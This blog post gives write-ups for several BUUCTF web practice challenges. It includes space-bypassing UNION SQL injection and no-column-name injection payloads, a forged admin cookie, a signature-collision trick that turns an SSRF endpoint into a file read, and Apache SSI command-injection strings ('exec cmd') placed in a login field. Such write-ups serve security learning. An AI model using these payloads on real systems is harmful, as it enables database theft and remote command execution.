BUUCTF-WEB(56-60)

Muneyoshi發表於2024-05-31

[SWPU2019]Web1

參考:

[buuctf-SWPU2019]Web1(小宇特詳解)-CSDN部落格

information_schema過濾與無列名注入_mysql 5.0以上的information表 如果給過濾用不了的 話你要怎麼查庫表列名-CSDN部落格

upfine的部落格 (cnblogs.com)

這邊有個註冊,我註冊了一下,登陸進去

有個申請廣告,我以為xss,但好像並沒有機器人會確認你的廣告,所以釣魚不到

image-20240530105351218

所以在廣告詳情這裡又發現了引數,應該這道題是sql注入

image-20240530105442903

這過濾了空格,or,--+

所以我們/**/繞過空格,並且無法用order,所以我們直接一個一個試多少個欄位,一共22個

-1'/**/union/**/select/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'

2,3均回顯

image-20240530120240617

然後爆資料庫

-1'/**/union/**/select/**/1,2,database(),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'

image-20240530120329990

然後開始爆表

這裡發現有報錯了,突然想起來information裡面有or

所以換了一種

-1'/**/union/**/select/**/1,2,group_concat(table_name),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22/**/from/**/mysql.innodb_table_stats/**/where/**/database_name="web1"'
-1'/**/union/**/select/**/1,2,table_name,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22/**/from/**/sys.schema_auto_increment_columns/**/where/**/database_name="web1"'//這個不行

image-20240530121238529

然後就是爆列,這無法爆出來,我們就無列名注入https://blog.csdn.net/weixin_49656607/article/details/119988304

然後這邊為什麼是三個列,我也沒搞明白,試出來的?

-1'/**/union/**/select/**/1,(select/**/group_concat(`3`)/**/from/**/(select/**/1,2,3/**/union/**/select/**/*/**/from/**/users)x),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22&&'1'='1

image-20240530124333802

[BSidesCF 2019]Kookie

開啟題目是一個登入框,他說檢驗cookie

image-20240530223837777

然後我們burp抓包加一個

Cookie:username=admin

image-20240530224004111

拿到flag

image-20240530224028424

[BSidesCF 2019]Futurella

啊,F12

image-20240530224607853

[De1CTF 2019]SSRF Me

參考:

[BUUCTF | De1CTF 2019]SSRF Me - 東坡肉肉君 - 部落格園 (cnblogs.com)

[BUUCTF:De1CTF 2019]SSRF Me_buuctf [de1ctf 2019]ssrf me-CSDN部落格

已經提示了檔案路徑

image-20240531091729695

整理一下原始碼

#! /usr/bin/env python
#encoding=utf-8
from flask import Flask
from flask import request
import socket
import hashlib
import urllib
import sys
import os
import json
import importlib,sys
importlib.reload(sys)
sys.setdefaultencoding('latin1') #編碼轉換

app = Flask(__name__) #Flask框架

secert_key = os.urandom(16) #返回一個有n個byte那麼長的一個string,然後很適合用於加密。


class Task:
    def __init__(self, action, param, sign, ip):#python的構造方法
        self.action = action
        self.param = param
        self.sign = sign
        self.sandbox = md5(ip)
        if(not os.path.exists(self.sandbox)): #SandBox For Remote_Addr os.path.exists判斷括號裡的檔案是否存在的意思,括號內的可以是檔案路徑。
            os.mkdir(self.sandbox) #用於以數字許可權模式建立目錄。

    def Exec(self):# 定義的命令執行函式。
        result = {}
        result['code'] = 500
        if (self.checkSign()):
            if "scan" in self.action:#action的值包括scan
                tmpfile = open("./%s/result.txt" % self.sandbox, 'w')
                resp = scan(self.param)#檔案讀取的注入點
                if (resp == "Connection Timeout"):
                    result['data'] = resp
                else:
                    print(resp)#輸出結果
                    tmpfile.write(resp)
                    tmpfile.close()
                result['code'] = 200
            if "read" in self.action:#action的值包括read
                f = open("./%s/result.txt" % self.sandbox, 'r')
                result['code'] = 200
                result['data'] = f.read()
            if result['code'] == 500:
                result['data'] = "Action Error"
        else:
            result['code'] = 500
            result['msg'] = "Sign Error"
        return result

    def checkSign(self):
        if (getSign(self.action, self.param) == self.sign):#判斷
            #hashlib.md5(secert_key + param + action).hexdigest()
            return True
        else:
            return False


#generate Sign For Action Scan.
@app.route("/geneSign", methods=['GET', 'POST'])#此路由用於測試
def geneSign():
    param = urllib.unquote(request.args.get("param", "")) #urllib.unquote字串被當作url提交時會被自動進行url編碼處理,  當需要獲取前端頁面表單傳過來的id值的時候,我們就需要用request.args.get,而不能用request.form
    action = "scan"
    return getSign(action, param)
    #hashlib.md5(secert_key + param + action).hexdigest()
    #即: hashlib.md5(secert_key + param + 'scan').hexdigest()

@app.route('/De1ta',methods=['GET','POST'])#此路由用於注入
def challenge():
    action = urllib.unquote(request.cookies.get("action"))
    param = urllib.unquote(request.args.get("param", ""))
    sign = urllib.unquote(request.cookies.get("sign"))
    ip = request.remote_addr
    if(waf(param)):
        return "No Hacker!!!!"
    task = Task(action, param, sign, ip)
    return json.dumps(task.Exec()) #將一個Python資料結構轉換為JSON

@app.route('/') # 根目錄路由,就是顯示原始碼得地方
def index():
    return open("code.txt","r").read()


def scan(param):# 這是用來掃目錄的函式
    socket.setdefaulttimeout(1)#代表經過t秒後,如果還未下載成功,自動跳入下一次操作,此次下載失敗。
    try:
        return urllib.urlopen(param).read()[:50]
    except:
        return "Connection Timeout"



def getSign(action, param):
    return hashlib.md5(secert_key + param + action).hexdigest()


def md5(content):
    return hashlib.md5(content).hexdigest()


def waf(param):#wef,需要繞過
    check=param.strip().lower() #用於移除字串頭尾指定的字元(預設為空格或換行符)或字元序列。
    if check.startswith("gopher") or check.startswith("file"):#.startswith用於檢查字串是否是以指定子字串開頭,
        return True
    else:
        return False


if __name__ == '__main__':
    app.debug = False
    app.run(host='0.0.0.0')

有三個路由

image-20240531092222143

然後看這裡

image-20240531092827694

他將我們傳入的param的這個引數以及action的這個引數傳入到getSign函式

action已經固定為scan,而param為我們所傳值,後面應該可以利用上

getSign函式定義如下,來生成一個簽名,MD5

image-20240531093004706

來生成一個簽名,MD5

再看challeng這個函式

image-20240531093323604

從cookie裡面獲取action以及sign,再傳遞一個param引數,param有一層waf,然後去執行Exec這個函式

再看exec這個函式

image-20240531093501856

image-20240531093641715

先比較簽名,然後進行下一步,如果action裡面有scan這個字串,就以scan讀取檔案,然後有read,就以read讀取

我們需要利用利用scanflag.txt的內容寫入到result.txt中,然後read讀取result.txt

我們需要scan以及read都要,也就是action=readscanm,所以我們構造簽名,在geneSign建立的sign值後面Exec裡面去比較時候這樣剛好構成相等

md5(secert_key + flag.txtread + scan) = md5(secert_key + flag.txt + readscan)

也就是這裡會相等

image-20240531095837310

所以我們先去/geneSign創一個簽名、

/geneSign?param=flag.txtread

然後得到一個簽名

7afd8b4da9021c599e6561a2bf1f9bca

然後去/Delta去再傳遞一下Cookie就得到flag了

image-20240531102741037

[BJDCTF2020]EasySearch

參考:

BJDCTF2020 EasySearch_bjdctf2020easy search-CSDN部落格

Apache SSI 遠端命令執行漏洞復現 - 雨中落葉 - 部落格園 (cnblogs.com)

我這邊沒掃到目錄,根據wp是有一個index.php.swp這個備份檔案

訪問一下,看一下

image-20240531163728906

意思就是我們需要傳遞的密碼裡面,md5加密後前6位=‘6d0bc1'

指令碼看一下

import hashlib

for i in range(10000000):
    a = hashlib.md5(str(i).encode('utf-8')).hexdigest()
    if(a[0:6]=='6d0bc1'):
        print(i)

image-20240531164423060

然後我們抓包,post傳遞一下

username=1&password=2020666

然後看響應包有一個

image-20240531164909764

然後我們訪問一下

image-20240531165032463

然後我以為會在XFF這些有命令執行,沒找到

然後就是wp說到Apache SSI 遠端命令執行漏洞復現 - 雨中落葉 - 部落格園 (cnblogs.com)

然後post

username=<!--#exec cmd="ls /"-->&password=2020666

訪問一下

image-20240531165752896

接下來就是找flag

username=<!--#exec cmd="cat ../flag_990c66bf85a09c664f0b6741840499b2"-->&password=2020666

image-20240531165907935